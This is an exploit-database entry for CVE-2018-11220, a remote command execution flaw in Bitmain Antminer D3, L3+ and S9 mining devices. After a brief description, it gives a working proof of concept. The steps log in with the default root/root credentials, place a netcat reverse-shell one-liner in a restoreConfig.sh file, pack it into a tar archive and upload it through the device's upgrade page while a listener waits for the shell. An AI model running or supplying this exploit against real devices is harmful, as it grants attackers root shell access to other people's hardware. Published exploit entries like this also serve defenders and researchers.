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zdtRrdw1337DAY-ID-30470
HistoryMay 28, 2018 - 12:00 a.m.

Bitmain Antminer D3/L3+/S9 - Remote Command Execution Vulnerability

2018-05-2800:00:00
rrdw
0day.today
49

0.019 Low

EPSS

Percentile

88.6%

Exploit for hardware platform in category remote exploits

# Exploit Title: Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution
# Google Dork: N/A
# Date: 27/05/2018
# Exploit Author: Corrado Liotta
# Vendor Homepage: https://www.bitmain.com/
# Software Link: N/A
# Version: Antminer - D3, L3+, S9, and other
# Tested on: Windows/Linux
# CVE : CVE-2018-11220
 
#Description
 
The software used by the miners produced by the bitmain (AntMiner) is
affected by a vulnerability of remote code execution type, it is possible
through the "Retore Backup" functionality of the administration portal to
execute commands on the system. This would allow a malicious user with
valid credentials to access the entire file system with administrative
privileges.
 
#POC
 
Login on Antminer Configuration Portal (Default Credential: root/root)
 
1) Create a file named:
 
restoreConfig.sh
 
2) insert inside:
 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your_ip your_port
>/tmp/f
 
3) Generate archive by inserting the file created before:
 
Exploit.tar
 
4) Launch net cat and upload file:
 
nc -vv -l -p port
 
system --> upgrade --> upload archive

#  0day.today [2018-05-29]  #

0.019 Low

EPSS

Percentile

88.6%